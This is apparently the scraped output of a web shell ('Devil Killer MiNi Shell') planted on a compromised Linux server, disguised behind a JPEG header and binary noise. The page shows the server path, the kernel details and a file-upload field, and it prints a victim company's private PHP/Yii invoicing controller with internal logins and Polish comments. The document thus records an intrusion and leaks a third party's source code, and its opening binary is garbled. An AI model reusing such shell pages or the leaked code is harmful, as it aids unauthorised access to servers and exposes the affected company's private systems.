JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/backend/controllers/

Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/backend/controllers/CompaniesinvoicesController.php

<?php

namespace backend\controllers;

use Yii;
use common\models\Invoices;
use common\models\Companies;
use common\models\Users;
use common\models\types\InvoiceStatus;
use common\models\types\ContactDataType;
use common\models\types\InvoiceDocumentType;
use backend\models\InvoicesSearch;
use backend\models\SendInvoiceForm;
use yii\web\Controller;
use yii\web\NotFoundHttpException;
use yii\web\ForbiddenHttpException;
use yii\filters\VerbFilter;

/**
 * CompaniesinvoicesController implements the CRUD actions for Invoices model.
 */
class CompaniesinvoicesController extends Controller
{
    use \backend\components\traits\ControllerFunctions;
    
    /**
     * Lists all Invoices models.
     * @param integer $id
     * @return mixed
     */
    public function actionIndex($id)
    {
        $modelCompany = $this->findModelCompany($id);
        
        $searchModel = new InvoicesSearch();
        $queryParams = Yii::$app->request->queryParams;
        $queryParams['InvoicesSearch']['id_company'] = $modelCompany->id_company;
        
        if(
            !Yii::$app->user->can('indexInvoices') 
            && !(Yii::$app->user->can('indexRelatedInvoices') && Yii::$app->user->can('manageCompanies', ['model' => $modelCompany])) 
//            && !Yii::$app->user->can('viewOwnCompaniesData', ['model' => $modelCompany])
        ) { 
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        $dataProvider = $searchModel->search($queryParams);

        return $this->render('index', [
            'searchModel' => $searchModel,
            'dataProvider' => $dataProvider,
            'modelCompany' => $modelCompany,
        ]);
    }

    /**
     * Displays a single Invoices model.
     * @param integer $id
     * @return mixed
     */
    public function actionView($id)
    {
        $model = $this->findModel($id);
        
        if(
            !Yii::$app->user->can('viewInvoices') 
            && !(Yii::$app->user->can('viewRelatedInvoices') && Yii::$app->user->can('manageCompanies', ['model' => $model->company]))
        ) { 
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        if(!empty($model->id_order)) {
            $modelOrder = $model->companyOrder;
        } else {
            $modelOrder = \common\models\CompaniesOrders::find()->where(['id_invoice' => $model->id_invoice])->one();
        }
        
        return $this->render('view', [
            'model' => $model,
            'modelOrder' => $modelOrder
        ]);
    }
    
    public function actionServicesList()
    {
        if(!Yii::$app->user->can('viewServices')) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        $modelsPortals = \common\models\Portals::find()
                ->with([
                    'relationsWithServicesTypes' => function($q) {
                        $q->join('INNER JOIN', 'services_types', 'services_types.id_type = services_types_has_portals.id_type');
                        $q->orderBy('services_types.type_order');
                    },
                    'relationsWithServices' => function($q) {
                        $q->indexBy('id_service');
                    }
                ])
                ->orderBy('domain')
                ->all();
                
        $modelsServicesTypes = \common\models\ServicesTypes::find()
                ->with([
                    'services' => function($q) {
                        $q->orderBy('service_order');
                        $q->indexBy('id_service');
                    }
                ])
                ->orderBy('type_order')
                ->indexBy('id_type')
                ->all();

        return $this->renderAjax('services_list', [
            'modelsPortals' => $modelsPortals,
            'modelsServicesTypes' => $modelsServicesTypes,
        ]);
    }
    
    public function actionArrangeItems($id)
    {  
        $modelInvoice = \common\models\Invoices::findOne($id);
        if($modelInvoice === null || empty($modelInvoice->id_company)) {
            throw new \yii\web\NotFoundHttpException('The requested page does not exist.');
        }
        
        if(!Yii::$app->user->can('updateInvoices') && !(Yii::$app->user->can('updateRelatedInvoices') && Yii::$app->user->can('manageCompanies', ['model' => $modelInvoice->company]))) {
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        $operation = Yii::$app->request->get('operation');
        if(empty($operation) || !in_array($operation, ['group', 'separately', 'all-in-one'])) {
            $operation = 'separately';
        }
        
        $idOrder = \common\models\CompaniesOrders::find()->select(['id_order'])->where(['id_invoice' => $modelInvoice->id_invoice])->scalar();
        if(empty($idOrder)) {
            Yii::$app->session->addFlash('warning', Yii::t('backend', 'Faktura nie jest powiązana z żadnym zamówieniem.'));
            return $this->redirect(['update', 'id' => $modelInvoice->id_invoice]);
        }
        $modelOrderItems = \common\models\CompaniesOrdersItems::find()
                    ->where(['id_order' => $idOrder])
                    ->orderBy('id_item ASC')
                    ->all();
        if(empty($modelOrderItems)) {
            Yii::$app->session->addFlash('warning', Yii::t('backend', 'Brak danych niezbędnych do wykonania akcji.'));
            return $this->redirect(['update', 'id' => $modelInvoice->id_invoice]);
        }
        
        $commodityServices = \common\models\Services::find()
                ->select(['services.id_service'])
                ->join('INNER JOIN', 'services_types', 'services_types.id_type = services.id_type')
                ->where([
                    'services_types.or_commodity' => 1
                ])
                ->column();
        
        $invoiceItems = [];
        switch($operation) {
            case 'group':
                foreach($modelOrderItems as $modelOrderItem) {
                    $hash = $modelOrderItem->id_service.'-'.$modelOrderItem->price_net_in_pricelist;
                    if(!isset($invoiceItems[$hash])) {
                        $invoiceItems[$hash] = [
                            'name' => $modelOrderItem->name,
                            'id_service' => $modelOrderItem->id_service,
                            'or_commodity' => in_array($modelOrderItem->id_service, $commodityServices) ? 1 : 0,
                            'price' => $modelOrderItem->price_net_in_pricelist,
                            'quantity' => 1,                    
                            'amount_net_without_discount' => $modelOrderItem->price_net_in_pricelist,
                            'amount_net_with_discount' => $modelOrderItem->price_net
                        ];
                    } else {
                        $invoiceItems[$hash]['quantity'] += 1;
                        $invoiceItems[$hash]['amount_net_without_discount'] += $modelOrderItem->price_net_in_pricelist;
                        $invoiceItems[$hash]['amount_net_with_discount'] += $modelOrderItem->price_net;
                    }
                }
                break;
            case 'separately':
                foreach($modelOrderItems as $modelOrderItem) {
                    $invoiceItems[] = [
                        'name' => $modelOrderItem->name,
                        'id_service' => $modelOrderItem->id_service,
                        'or_commodity' => in_array($modelOrderItem->id_service, $commodityServices) ? 1 : 0,
                        'price' => $modelOrderItem->price_net_in_pricelist,
                        'quantity' => 1,                    
                        'amount_net_without_discount' => $modelOrderItem->price_net_in_pricelist,
                        'amount_net_with_discount' => $modelOrderItem->price_net
                    ];
                }
                break;
            case 'all-in-one':                
                $amountNetWithoutDiscount = $amountNetWithDiscount = 0;
                foreach($modelOrderItems as $modelOrderItem) {
                    $amountNetWithoutDiscount += $modelOrderItem->price_net_in_pricelist;
                    $amountNetWithDiscount += $modelOrderItem->price_net;
                }
                $invoiceItems[] = [
                    'name' => Yii::t('backend', 'Usługi zgodnie z zamówieniem nr: {idOrder}', ['idOrder' => $idOrder]),
                    'id_service' => null,
                    'or_commodity' => 0,
                    'price' => $amountNetWithoutDiscount,
                    'quantity' => 1,                    
                    'amount_net_without_discount' => $amountNetWithoutDiscount,
                    'amount_net_with_discount' => $amountNetWithDiscount
                ];                
                break;
        }        
        
        $transaction = Yii::$app->db->beginTransaction();
        
        $flag = true;
        
        $modelsInvoicesItems = $modelInvoice->getItems()->where(['not', ['id_service' => null]])->all();
        if(!empty($modelsInvoicesItems)) {
            foreach($modelsInvoicesItems as $modelInvoiceItem) {
                if($modelInvoiceItem->delete() === false) {
                    $flag = false;
                    break;
                }
            }
        }
        
        if($flag) {
            foreach($invoiceItems as $invoiceItem) {
                $discount = (1 - ($invoiceItem['amount_net_with_discount'] / $invoiceItem['amount_net_without_discount'])) * 100;
                $discount = number_format(round($discount, 2), 2);

                $modelInvoiceItem = new \common\models\InvoicesItems(['scenario' => 'create']);
                $modelInvoiceItem->id_invoice = $modelInvoice->id_invoice;
                $modelInvoiceItem->name = $invoiceItem['name'];
                $modelInvoiceItem->or_commodity = $invoiceItem['or_commodity'];
                $modelInvoiceItem->id_service = $invoiceItem['id_service'];
                $modelInvoiceItem->quantity = $invoiceItem['quantity'];
                $modelInvoiceItem->price_net_pricelist = $invoiceItem['price'];
                $modelInvoiceItem->amount_net_before_discount = $invoiceItem['amount_net_without_discount'];
                $modelInvoiceItem->discount_percent = $discount;
                $modelInvoiceItem->amount_net = $invoiceItem['amount_net_with_discount'];
                $modelInvoiceItem->tax_rate = 23.00; //@todo to powinno być zaciągane z bazy, np. z rekordu usługi - tak naprawdę dla różnych usług może być różna stawka VAT; rozważyć czy zmieniamy to teraz, czy nie marnujemy czasu i ogarniemy później
                $modelInvoiceItem->amount_gross = $modelInvoiceItem->amount_net * (1 + ($modelInvoiceItem->tax_rate / 100));

                if(!$modelInvoiceItem->save()) {
                    $flag = false;
                    break;
                }
            }
        }
        
        $total = Yii::$app->db->createCommand('SELECT SUM(amount_net) AS amount_net_total, SUM(amount_gross) AS amount_gross_total FROM invoices_items WHERE id_invoice = '.intval($modelInvoice->id_invoice))->queryOne();
        $modelInvoice->amount_net = $total['amount_net_total'];
        $modelInvoice->amount_gross = $total['amount_gross_total'];
        $flag = $flag && $modelInvoice->save();
        
        if($flag) {            
            $transaction->commit();
            Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Poprawnie zapisano dane.'));             
        } else {
            $transaction->rollBack();
            Yii::$app->session->addFlash('error', Yii::t('backend', 'Błąd podczas zapisu.'));                
        }
        
        return $this->redirect(['update', 'id' => $modelInvoice->id_invoice]);
    }
    
    public function actionGet($id)
    {
        $session = Yii::$app->session; 
        $this->layout = false;
        
        $asDuplicate = !empty(Yii::$app->request->get('as_duplicate')) ? 1 : 0;
        
        $modelInvoice = $this->findModel($id);
     
        if(
            !Yii::$app->user->can('getInvoices') 
            && !(Yii::$app->user->can('getRelatedInvoices') && Yii::$app->user->can('manageCompanies', ['model' => $modelInvoice->company])) 
            && !Yii::$app->user->can('viewOwnCompaniesData', ['model' => $modelInvoice->company])
        ) { 
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        if(!empty($modelInvoice->invoice_number)) {
            $fileName = $modelInvoice->invoice_number;
        } elseif(!empty($modelInvoice->proforma_invoice_number)) {
            $fileName = $modelInvoice->proforma_invoice_number;
        } else {
            $fileName = \common\components\UuidGenerator::generateV4();
        }
        $fileName = preg_replace('|[\/\\.:]|i', '_', $fileName);
        $fileName = preg_replace('|[^a-zA-Z0-9_\-]|i', '', $fileName);
        
        $tempFilePath = Yii::getAlias('@runtime')."/temp/fv".(empty($modelInvoice->invoice_number) ? 'p' : '')."_".$fileName.".html";
        $targetFilePath = Yii::getAlias('@runtime')."/temp/fv".(empty($modelInvoice->invoice_number) ? 'p' : '')."_".$fileName.".pdf";
        $opts = ['http' => ['header'=> 'Cookie: ' . $_SERVER['HTTP_COOKIE']."\r\n"]];
        $context = stream_context_create($opts);
        $session->close();
        $contents = file_get_contents(Yii::$app->urlManager->createAbsoluteUrl(['companiesinvoices/show', 'id' => $modelInvoice->id_invoice, 'as_duplicate' => $asDuplicate]), false, $context);
        $session->open();
        file_put_contents($tempFilePath, $contents);
        
        $output = \common\components\helpers\Wkhtmltopdf::save('file:///'.$tempFilePath, $targetFilePath, '-T 8 -B 8 -L 8 -R 8');    
        if($output['return'] !== 0) {
            @unlink($tempFilePath);
            @unlink($targetFilePath);
            $session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas generowania pliku PDF.'));
            return $this->redirect(Yii::$app->request->getReferrer() ? Yii::$app->request->getReferrer() : ['companiesinvoices/update', 'id' => $modelInvoice->id_invoice]);          
        } 
        
        $response = Yii::$app->getResponse();
        $response->setDownloadHeaders(basename($targetFilePath), 'application/pdf');
        $response->sendFile($targetFilePath);
        $response->send();
        
        @unlink($tempFilePath);
        @unlink($targetFilePath);
    }
    
    public function actionShow($id)
    {        
        $this->layout = false;
        
        $modelInvoice = $this->findModel($id);

        if(
            !Yii::$app->user->can('getInvoices') 
            && !(Yii::$app->user->can('getRelatedInvoices') && Yii::$app->user->can('manageCompanies', ['model' => $modelInvoice->company])) 
            && !Yii::$app->user->can('viewOwnCompaniesData', ['model' => $modelInvoice->company])
        ) { 
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        $asDuplicate = !empty(Yii::$app->request->get('as_duplicate')) ? 1 : 0;
        
        return $this->render('show_invoice', [
            'model' => $modelInvoice,
            'asDuplicate' => $asDuplicate
        ]);
    }
    
    public function actionSendInfoAboutPayment($id)
    {
        $model = $this->findModel($id);
        
        if(!Yii::$app->user->can('sendInvoices')) { 
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        if(empty($model->receipt_amount_value) || empty($model->receipt_amount_date) || empty($model->annotations_for_marketer)) {
            Yii::$app->session->addFlash('warning', Yii::t('backend', 'Nie można wykonać żądanej akcji.'));
            return $this->redirect(['update', 'id' => $model->id_invoice]);
        }
        
        //wysyłamy email do handlowca, który złożył to zamówienie;
        //jeśli faktura nie dotyczy żadnego zamówienia, to wysyłamy maila do operatorów danej firmy 
        $recipientsEmails = [];
        $consultants = [];
        $internalAnnotations = null;

        $modelOrder = \common\models\CompaniesOrders::find()
                ->with(['user', 'salesDistributions', 'salesDistributions.user'])
                ->where(['id_invoice' => $model->id_invoice])
                ->one();                
        if(!empty($modelOrder)) {   
            //istnieje zamówienie
            if(!empty($modelOrder->salesDistributions)) {
                //zamówienie jest dzielone na kilku operatorów
                foreach($modelOrder->salesDistributions as $modelOrderSalesDistribution) {
                    $consultant = [
                        'name' => $modelOrderSalesDistribution->user->forename.' '.$modelOrderSalesDistribution->user->surname,
                        'email' => '',
                        'amount_net' => str_replace('.', ',', (string)$modelOrderSalesDistribution->amount),
                        'amonut_gross' => str_replace('.', ',', (string)($modelOrderSalesDistribution->amount * 1.23)) //@todo to powinno być zaciągane z bazy - w końcu różne usługi mogą mieć różną stawkę VAT; ewentualnie tymczasowo niech tak zostanie, ale miejmy to na uwadze...
                    ];
                    $email = \common\models\UsersContactData::find()->select(['data_value'])->where(['id_user' => $modelOrderSalesDistribution->user->id_user, 'required' => 1, 'data_type' => ContactDataType::EMAIL])->scalar();
                    if(!empty($email)) {
                        $recipientsEmails[$email] = $email;
                        $consultant['email'] = $email;
                    }
                    $consultants[] = $consultant;
                }   
            } else {
                //zamówienie ma jednego operatora
                $consultant = [
                    'name' => $modelOrder->user->forename.' '.$modelOrder->user->surname,
                    'email' => '',
                ];

                $email = \common\models\UsersContactData::find()->select(['data_value'])->where(['id_user' => $modelOrder->id_user, 'required' => 1, 'data_type' => ContactDataType::EMAIL])->scalar();
                if(!empty($email)) {
                    $recipientsEmails[$email] = $email;
                    $consultant['email'] = $email;
                }
                $consultants[] = $consultant;
            }    
            $internalAnnotations = $modelOrder->annotations_internal;

        } else {   
            //nie ma żadnego zamówienia dla danej faktury, więc szukamy przypisanych do danej firmy operatorów
            $modelsOperatorsHasCompanies = \common\models\OperatorsHasCompanies::find()
                    ->with([
                        'operator', 
                        'operator.contactData' => function($q) {
                            $q->where([
                                'required' => 1,
                                'data_type' => ContactDataType::EMAIL
                            ]);
                        }
                    ])
                    ->where(['id_company' => $model->id_company])                                    
                    ->all();
            if(!empty($modelsOperatorsHasCompanies)) {     
                $consultant = ['name' => '', 'email' => ''];
                foreach($modelsOperatorsHasCompanies as $modelOperatorHasCompany) {
                    $consultant['name'] .= $modelOperatorHasCompany->operator->forename.' '.$modelOperatorHasCompany->operator->surname.', ';
                    if(!empty($modelOperatorHasCompany->operator->contactData[0]->data_value)) {
                        $email = $modelOperatorHasCompany->operator->contactData[0]->data_value;
                        $consultant['email'] .= $email.', ';
                        $recipientsEmails[$email] = $email;
                    }
                }
                if(!empty($consultant['name'])) {
                    $consultant['name'] = rtrim($consultant['name'], ', ');
                    $consultant['email'] = rtrim($consultant['email'], ', ');
                }
                $consultants[] = $consultant;
            }
        }

        //pobieramy adresy email Łukasza i Marty
        $otherOperatorsEmails = \common\models\UsersContactData::find()
                ->select(['users_contact_data.data_value'])
                ->join('INNER JOIN', 'users', 'users.id_user = users_contact_data.id_user')
                ->where([
                    'users.login' => ['vm_lukasz', 'vm_marta'], 
                    'users_contact_data.required' => 1, 
                    'users_contact_data.data_type' => ContactDataType::EMAIL
                ])->column();

        if(!empty($otherOperatorsEmails)) {
            foreach($otherOperatorsEmails as $otherOperatorEmail) {
                $recipientsEmails[$otherOperatorEmail] = $otherOperatorEmail;
            }
        }           

        if(!empty($recipientsEmails)) {                    
            $operatorsNames = '';
            if(count($consultants) === 1) {
                $operatorsNames = $consultants[0]['name'];
            } elseif(count($consultants) > 1) {
                foreach($consultants as $consultant) {
                    $operatorsNames .= $consultant['name'].', ';
                }
                $operatorsNames = rtrim($operatorsNames, ', ');
            }

            foreach($recipientsEmails as $recipientEmail) { 
                try {
                    //wysyłamy emaile z informacją o płatnośći (###MAIL_18###) 
                    $mailer = Yii::$app->mailer;
                    $mailer->htmlLayout = 'layouts/main-html';      
                    $mailer->textLayout = 'layouts/main-text';           
                    $flag = $mailer->compose(
                            [
                                'html' => 'accounting_invoice_html',
                                'text' => 'accounting_invoice_text'
                            ],
                            [                            
                                'modelInvoice' => $model,
                                'consultants' => $consultants,
                                'internalAnnotations' => $internalAnnotations
                            ]
                        )
                        ->setFrom([Yii::$app->params['noReplyEmail'] => 'System vManager'])
                        ->setTo($recipientEmail)
                        ->setSubject(Yii::t('common-mails', 'Płatność: {companyName} #{idCompany} – {operatorName}', ['idCompany' => $model->id_company, 'companyName' => $model->purchaser_name, 'operatorName' => $operatorsNames])) 
                        ->send();
                } catch (\Exception $ex) {
                    continue;
                }
            }
        }         
        
        return $this->redirect(['update', 'id' => $model->id_invoice]);
    }
    
    public function actionSend($id)
    {        
        $model = $this->findModel($id);

        if(
            !Yii::$app->user->can('sendInvoices') || 
            (!Yii::$app->user->can('getInvoices') && !(Yii::$app->user->can('getRelatedInvoices') && Yii::$app->user->can('manageCompanies', ['model' => $model->company])))
        ) { 
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        $modelForm = new SendInvoiceForm(['id_invoice' => $model->id_invoice]);
        
        $outputParams = [
            'model' => $model,
            'modelForm' => $modelForm,
        ];
        
        if (Yii::$app->request->isAjax && !Yii::$app->request->isPjax && $modelForm->load(Yii::$app->request->post())) {
            Yii::$app->response->format = \yii\web\Response::FORMAT_JSON;
            return \yii\bootstrap\ActiveForm::validate($modelForm, ['id_operator', 'id_invoice']);
        }
        
        if(Yii::$app->request->getIsPost()) {  
            if(!$modelForm->load(Yii::$app->request->post())) {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas przesyłania danych.'));
                return $this->conditionalRender('send', $outputParams);
            }
            
            if(!$modelForm->validate()) {
                Yii::$app->session->addFlash('error', $modelForm->getErrors());
                return $this->conditionalRender('send', $outputParams);
            }        
                        
            $modelOperatorRecipient = Users::find()
                ->select(['id_user', 'forename', 'surname'])
                ->with([
                    'contactData' => function($q) {
                        $q->where([
                            'required' => 1,
                            'data_type' => ContactDataType::EMAIL
                        ]);
                    }
                ])
                ->where(['id_user' => $modelForm->id_operator])
                ->one();
                
            $flag = true;
               
            if(!empty($model->invoice_number)) {
                $fileName = $model->invoice_number;
                $emailTitle = Yii::t('common-mails', 'Faktura nr {invoiceNumber} dla {companyName}', ['invoiceNumber' => $model->invoice_number, 'companyName' => $model->company->name]);
            } elseif(!empty($model->proforma_invoice_number)) {
                $fileName = $model->proforma_invoice_number;
                $emailTitle = Yii::t('common-mails', 'Faktura proforma {invoiceNumber} dla {companyName}', ['invoiceNumber' => $model->proforma_invoice_number, 'companyName' => $model->company->name]);
            } else {
                $fileName = \common\components\UuidGenerator::generateV4();
                $emailTitle = 'FAKTURA #'.$model->id_invoice;
            }
            $fileName = preg_replace('|[\/\\.:]|i', '_', $fileName);
            $fileName = preg_replace('|[^a-zA-Z0-9_\-]|i', '', $fileName);

            $tempFilePath = Yii::getAlias('@runtime')."/temp/fv".(empty($model->invoice_number) ? 'p' : '')."_".$fileName.".html";
            $targetFilePath = Yii::getAlias('@runtime')."/temp/fv".(empty($model->invoice_number) ? 'p' : '')."_".$fileName.".pdf";
            $opts = ['http' => ['header'=> 'Cookie: ' . $_SERVER['HTTP_COOKIE']."\r\n"]];
            $context = stream_context_create($opts);
            Yii::$app->session->close();
            $contents = file_get_contents(Yii::$app->urlManager->createAbsoluteUrl(['companiesinvoices/show', 'id' => $model->id_invoice]), false, $context);
            Yii::$app->session->open();
            file_put_contents($tempFilePath, $contents);
            unset($contents);

            $output = \common\components\helpers\Wkhtmltopdf::save('file:///'.$tempFilePath, $targetFilePath, '-T 8 -B 8 -L 8 -R 8');    
            if($output['return'] !== 0) { 
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas generowania pliku PDF.'));
                $flag = false;
            }
            
            if($flag) {
                $operatorRecipientEmail = $modelOperatorRecipient->contactData[0]->data_value;
                $modelOrder = \common\models\CompaniesOrders::find()->select(['id_order', 'order_date', 'id_user'])->where(['id_invoice' => $model->id_invoice])->one();

                //wysyłamy emaile z fakturą (###MAIL_27###) 
                $mailer = Yii::$app->mailer;
                $mailer->htmlLayout = 'layouts/main-html';      
                $mailer->textLayout = 'layouts/main-text';           
                $flag = $mailer->compose(
                        [
                            'html' => 'send_invoice_html',
                            'text' => 'send_invoice_text'
                        ],
                        [
                            'modelInvoice' => $model,
                            'operatorForename' => !empty($modelOrder->user) ? $modelOrder->user->forename : $modelOperatorRecipient->forename,
                            'operatorSurname' => !empty($modelOrder->user) ? $modelOrder->user->surname : $modelOperatorRecipient->surname,
//                            'operatorEmail' => $operatorRecipientEmail,
                            'annotations' => $modelForm->annotations,
                            'modelOrder' => $modelOrder
                        ]
                    )
                    ->setFrom([Yii::$app->params['noReplyEmail'] => 'System vManager'])
                    ->setTo($operatorRecipientEmail)
                    ->setSubject($emailTitle)
                    ->attach($targetFilePath)
                    ->send();
            }
            
            if($flag) {    
                Yii::$app->session->addFlash('confirm', Yii::t('backend', 'Wiadomość została wysłana.')); 
            } else {
                Yii::$app->session->addFlash('error', Yii::t('backend', 'Wystąpił błąd podczas wysyłania wiadomości.'));                
            }
            
            @unlink($tempFilePath);
            @unlink($targetFilePath); 
        }
       
        return $this->conditionalRender('send', $outputParams);
    }

    /**
     * Creates a new Invoices model.
     * If creation is successful, the browser will be redirected to the 'view' page.
     * @param integer $id
     * @return mixed
     */
    public function actionCreate($id)
    {        
        $modelCompany = $this->findModelCompany($id);
        
        if(
            !Yii::$app->user->can('createInvoices') 
            && !(Yii::$app->user->can('createRelatedInvoices') && Yii::$app->user->can('manageCompanies', ['model' => $modelCompany]))
        ) { 
            throw new ForbiddenHttpException(Yii::t('yii', 'You are not allowed to perform this action.'));
        }
        
        $baseModelInvoiceItem = new \common\models\InvoicesItems(['scenario' => 'create']);
        $model = new \backend\models\Invoices(['scenario' => Yii::$app->user->can('modifyInvoicesFull') ? 'createFull' : 'createBasic']);
        $model->id_company = $modelCompany->id_company;
        
        $modelsCompanyInvoicingData = $modelCompany->getInvoicingData()->orderBy('or_main DESC, id_invoicing_data ASC')->all();
        $modelCompanyInvoicingData = !empty($modelsCompanyInvoicingData) ? $modelsCompanyInvoicingData[0] : null;
        
        if(!empty($modelCompanyInvoicingData)) {
            $model->purchaser_name = $modelCompanyInvoicingData->name;
            $model->purchaser_street = $modelCompanyInvoicingData->street;
            $model->purchaser_building_number = $modelCompanyInvoicingData->building_number;
            $model->purchaser_apartment_number = $modelCompanyInvoicingData->apartment_number;
            $model->purchaser_postcode = $modelCompanyInvoicingData->postcode;
            $model->purchaser_locality = $modelCompanyInvoicingData->locality;
            $model->purchaser_id_country = $modelCompanyInvoicingData->id_country;
            $model->purchaser_tax_id = $modelCompanyInvoicingData->tax_id;
            $model->purchaser_address_cont = $modelCompanyInvoicingData->address_cont;
            $model->currency = $modelCompanyInvoicingData->currency;
            $model->invoice_type = $modelCompanyInvoicingData->invoice_type;
        } else {
            $model->currency = 'PLN';
            $model->invoice_type = \common\models\types\InvoiceType::NATIONAL;
        }
        
        $saleDate = new \DateTime();
        $model->sale_date = $saleDate->format('Y-m-d');
        $model->invoice_date = $saleDate->format('Y-m-d');
        $model->payment_date = $saleDate->modify('+7 days')->format('Y-m-d');
        $model->bank_account_type = \common\models\types\BankAccountType::POLISH;
        
        $model->recipient_name = Yii::$app->params['invoicingData']['name'];
